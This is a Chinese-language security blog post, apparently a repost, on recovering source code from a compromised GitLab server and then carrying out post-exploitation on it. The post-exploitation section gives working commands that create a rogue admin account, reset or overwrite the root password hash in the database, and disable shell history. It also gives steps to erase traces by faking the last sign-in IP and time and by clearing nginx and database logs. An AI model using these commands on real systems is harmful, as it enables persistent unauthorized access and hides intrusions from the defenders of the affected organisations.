gitlab数据恢复与后渗透

admin 2024年6月20日17:47:36评论5 views字数 2686阅读8分57秒阅读模式

gitlab数据恢复与后渗透

前言

平常渗透实战中,经常遇到gitlab或者gitea之类的私有仓库,需要对其进行数据恢复,进而后续审计代码,或者搜集开发的IP等个人信息,故有了此文章。

查资料阶段

根据官网文档可知 https://docs.gitlab.cn/jh/administration/repository_storage_types.html

它采用hash存储方式,存储在@hashed中,根据项目ID顶级文件夹名前两个字符hash和子文件夹的接下来两个字符hash生成。

文档中的默认路径:/var/opt/gitlab/git-data/repositories/@hashed/

所以我们只需要打包它即可。

gitlab数据恢复与后渗透

再接着看文档,根据 哈希路径到项目名称 这段的描述 我们可以从控制台获取hashed对应的projectid和项目名。或者直接从.git目录中的config文件中获取。

gitlab数据恢复与后渗透

打开config文件,找到 [gitlab] 下的 fullpath= 键。

gitlab数据恢复与后渗透

另一种方法,直接从Rails控制台恢复。官方提供的语句如下

ProjectRepository.find_by(disk_path: '@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9').project

经过查看,我们可以直接循环遍历ProjectRepository,然后获取hash路径和项目名。

ProjectRepository.all.each do |p|
    proj = p.project
    puts(format("disk_path: %s, proj_name: %s", proj.disk_path,
proj.inspect))
end

这部分ruby语句很清晰,就是each循环遍历ProjectRepository格式化输出项目名和路径。

本来是想直接调用lijiejie师傅的GitHack进行恢复的,但是发现.git结构里面没有index暂存区文件。无法进行下一步遍历objects,zlib解压文件。

gitlab数据恢复与后渗透

后来翻阅大量资料,git set 的hard命令可以重设index和working tree,所有改变都会被丢弃,包括文件的修改、新增、删除等操作,并把HEAD指向<commit>

再根据这个文章可知。我们可以直接将.git的裸仓库转换为非裸仓库,并将当前工作目录重置为最新的提交状态。

https://stackoverflow.com/questions/67699/how-do-i-clone-all-remote-branches/13575102#13575102

mkdir repo
cd repo
git clone --bare path/to/repo.git .git
# git clone -bare http://github.com/test.git .git
git config --unset core.bare
git reset --hard

所以现在的思路就是写脚本批量遍历所有的.git文件,根据hash中的config在本地创建proj_name,然后执行config和set这两条命令进行恢复代码。这个代码是包含所有分支的!!!

代码中遇到的bug就不说了,直接后台回复gitlab即可获取代码。

后渗透

修改密码(三种方法)

1、添加管理员账户

echo 'user=User.new;user.name="test";user.username="test";user.password="echo123456";user.password_confirmation="echo123456";user.email="[email protected]";user.access_level="admin";user.confirmed_at = Time.zone.now;user.save!' | gitlab-rails console

2、重置管理员密码

1.这里网上说在强调需要root进入容器然后才能进控制台,我这边反弹的shell git用户权限也可以直接进入控制台。使用以下命令启动Ruby on Rails控制台  
gitlab-rails console -e production

2.等待一段时间,控制台加载完毕,有多种找到用户的方法,您可以搜索电子邮件或用户名。  
user = User.where(id: 1).first //由于管理员用户root为第一个用户,因此用户id为1;

3.现在更改密码,注意,必须同时更改密码和password_confirmation才能使其正常工作。  
user.password = '新密码'  
user.password_confirmation = '新密码'

4.最后别忘了保存更改。  
user.save

3、替换数据库数据

Bcrypt加密的,大概率解密不出来,只能替换了。

1.切换到gitlab用户
su - gitlab-psql

2.设置命令记录
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

3.连接数据库
psql -h /var/opt/gitlab/postgresql -d gitlabhq_production

4.更新密码
UPDATE users SET encrypted_password= '$2y$10$WhpIuDXpSwCUMEf./c7wR.ogrPGJQmzFxtfexpWqSw2fIoOvxrPCq' WHERE id = 1;

5.查询相关信息,便于对IP和登录时间进行恢复
select * from user where id=1;

痕迹清理

1、密码进行恢复

2、IP和登录时间进行恢复

3、nginx日志清理,数据库操作日志清理。

......

update users SET last_sign_in_at= '2024-02-05 07:56:29.365595' WHERE id = 1;

update users SET current_sign_in_ip= '8.8.8.8' WHERE id = 1;

原文始发于微信公众号(安全光圈):gitlab数据恢复与后渗透

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月20日17:47:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   gitlab数据恢复与后渗透https://cn-sec.com/archives/2856540.html

发表评论

匿名网友 填写信息